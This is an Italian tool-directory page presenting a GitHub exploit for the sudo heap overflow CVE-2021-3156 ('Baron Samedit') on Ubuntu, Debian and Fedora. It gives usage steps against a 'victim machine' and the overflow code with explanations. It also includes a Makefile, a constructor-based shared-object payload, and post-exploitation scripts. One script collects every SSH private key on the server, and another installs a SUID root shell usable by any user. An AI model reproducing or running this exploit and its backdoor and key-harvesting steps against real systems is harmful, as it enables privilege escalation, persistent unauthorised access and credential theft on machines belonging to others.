Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PE_CVE-CVE-2021-3156 — Exploit per Ubuntu 20.04 utilizzando CVE-2021-3156 potenziato con script di post-exploitation | Kitploit
Strumenti/GitHubGitHub/purpleozone/pe_cve-cve-2021-3156
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingApprendimento e FormazioneRed TeamingSviluppo PayloadBinary Exploitation
GitHubpurpleozone/pe_cve-cve-2021-3156

PE_CVE-CVE-2021-3156

Exploit per Ubuntu 20.04 utilizzando CVE-2021-3156 potenziato con script di post-exploitation

713 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

PE_CVE-CVE-2021-3156

Exploit per Ubuntu 20.04 che utilizza CVE-2021-3156, migliorato con semplici e automatizzati script di post-exploitation

Oltre alla shell di root puoi avere:

-A file .txt con tutte le chiavi ssh id_rsa configurate sul server. Vedi lo script: get_all_ssh_keys.sh

-A eseguibile privshell che consente a qualsiasi utente di avviare una shell di root (sto lavorando per correggere l'errore gcc). Vedi lo script: create_privshell.sh

PoC per il PE_CVE-CVE-2021-3156.

Requisiti

Per ottenere un risultato positivo, è necessario che la macchina vittima abbia una delle seguenti versioni di sistema operativo e Sudo:

-Ubuntu 20.04 (Sudo 1.8.31)

-Debian 10 (Sudo 1.8.27)

-Fedora 33 (Sudo 1.9.2)

image

Per rendere vulnerabile la mia VM, ho declassato la mia versione di sudo con il seguente comando:

root@kitploit:~
$ sudo apt install sudo=1.8.31-1ubuntu1

Exploit

L'exploit può funzionare finché l'accesso al sistema vittima viene ottenuto con un utente senza privilegi considerevoli.

image

Puoi clonare la repo sulla macchina della vittima o sulla tua macchina locale e caricarla con wget

image

Esegui il comando "make" per compilare i file .c secondo la vulnerabilità image

Otterrai il file dell'exploit, quindi puoi eseguirlo con "./" Dopo aver eseguito l'exploit, possiamo ora vedere due file generati nella repository: uno contiene tutte le chiavi ssh registrate sul sistema e l'altro contiene il file eseguibile SUID che concede una sessione root a tutti gli utenti. (evidenziati in viola)

image

Potresti vedere un errore come quello seguente:

image

Sto ancora cercando di risolvere l'errore, ma suppongo che sia la shell a generare l'exploit. Ho provato a eseguire il comando ./create_privshell.sh da root accedendo con sudo su da un utente con i permessi appropriati e la compilazione dello script è andata a buon fine. In alternativa può essere compilato su un'altra macchina e copiato sulla vittima; è per questo che esiste una richiesta wget.

Lo script da compilare è il seguente:

root@kitploit:~
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

Ora puoi leggere i file .txt con tutte le chiavi ssh e usare privshell finché non sistemo l'errore gcc image

A PROPOSITO DI CVE-2021-3156.

Scoperta da Qualys

Punteggio CVSS di 7.8

CVE-2021-3156, nota anche come vulnerabilità "Baron Samedit", è una vulnerabilità di sicurezza che colpisce il programma sudo, ampiamente utilizzato sui sistemi operativi basati su Unix. Sudo è un programma che consente agli utenti di eseguire comandi con privilegi elevati, solitamente inserendo la propria password o una password di root. La vulnerabilità è causata da un problema di buffer overflow nella funzione "sudoedit" del comando sudo, che consente agli utenti di modificare file con privilegi elevati. La vulnerabilità è stata scoperta per la prima volta nel gennaio 2021 da Qualys Research Labs e colpisce le versioni di sudo dalla 1.8.2 alla 1.8.31p2 e dalla 1.9.0 alla 1.9.5p1.

###Dettagli molto molto tecnici Info da: Qualys

image

image

image

In altre parole, set_cmnd() è vulnerabile a un heap-based buffer overflow, perché i caratteri fuori dai limiti copiati nel buffer "user_args" non erano inclusi nella sua dimensione (calcolata alle righe 852-853).

Per la parte dell'overflow, ho usato il file exploit.c di redhawkeye/sudo-exploit

È un po' complesso ma facilmente interpretabile.

root@kitploit:~
 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

Questa parte dichiara un array di variabili d'ambiente env che verrà passato alla chiamata di sistema execve. Le variabili d'ambiente contengono una serie di backslash e una variabile appositamente costruita chiamata LC_ALL che ha il valore "C.UTF-8@" concatenato con 208 (0xd0) caratteri A. Il valore C.UTF-8@ verrà passato come variabile d'ambiente LC_ALL al comando sudoedit. I 208 caratteri A servono a far traboccare un buffer nel programma sudoedit ed eseguire codice arbitrario.

root@kitploit:~
  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

Questa parte dichiara una variabile a che contiene una stringa di 112 (0x70) caratteri A, seguiti da un backslash. Dichiara poi un array argv che verrà passato a execve. L'array contiene il percorso del comando sudoedit (/usr/bin/sudoedit), il flag -s e la variabile a creata sopra.

root@kitploit:~
  execve(argv[0], argv, env);

Questa è la chiamata di sistema execve che esegue effettivamente il comando sudoedit con gli argomenti e le variabili d'ambiente forniti. Il programma sudoedit leggerà la variabile d'ambiente LC_ALL e tenterà di interpretarla come un percorso di file. I caratteri A in eccesso verranno usati per scrivere dati arbitrari in memoria e potenzialmente eseguire codice arbitrario.

Quindi questi dati in memoria riservati all'RCE verranno usati dal nostro file shell_tool.c

root@kitploit:~
__attribute((constructor))
static void sice() {
    setuid(0);
    system("command");
    ...
    system("bash");

Questa parte del codice dichiara una funzione chiamata sice con l'attributo attribute((constructor)), quindi la funzione verrà chiamata automaticamente all'avvio del programma, prima dell'esecuzione di main(). All'interno della funzione sice, viene chiamata la funzione setuid(0) per impostare l'ID utente effettivo del processo a 0, che è l'ID utente del superutente o di root. Questo dà di fatto al programma i privilegi di root. Dopodiché, usando semplicemente l'argomento system("command"), possiamo fare qualsiasi cosa prima che la sessione root appaia nel terminale; è per questo che volevo provare la cosa degli script, per avere qualche backdoor e dati esfiltrati prima di ottenere la shell di root.

Ho provato a scrivere la mia versione del codice chiamata mybufferof.c; in pratica è abbastanza simile, quindi sentiti libero di modificare il Makefile per testarla jeje

A proposito del Makefile

root@kitploit:~
all:
	gcc bufferof.c -o exploit
	mkdir libnss_X
	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2

Per prima cosa dobbiamo compilare il nostro exploit e poi creare la directory "libnss_X". Poi l'ultimo comando compila il file shell_tool.c e crea un file oggetto condiviso chiamato X.so.2 nella directory libnss_X:

Il flag -g genera informazioni di debug per il file oggetto condiviso.

Il flag -fPIC genera codice indipendente dalla posizione per gli oggetti condivisi.

Il flag -shared specifica che deve essere creato un file oggetto condiviso.

Il file oggetto condiviso risultante X.so.2 viene inserito nella directory libnss_X creata nel secondo passaggio.

Questo è importante per la CVE, per questo motivo:

image

Dati da: Qualys

Questo è tutto, goditela, suppongo

Scarica lo strumento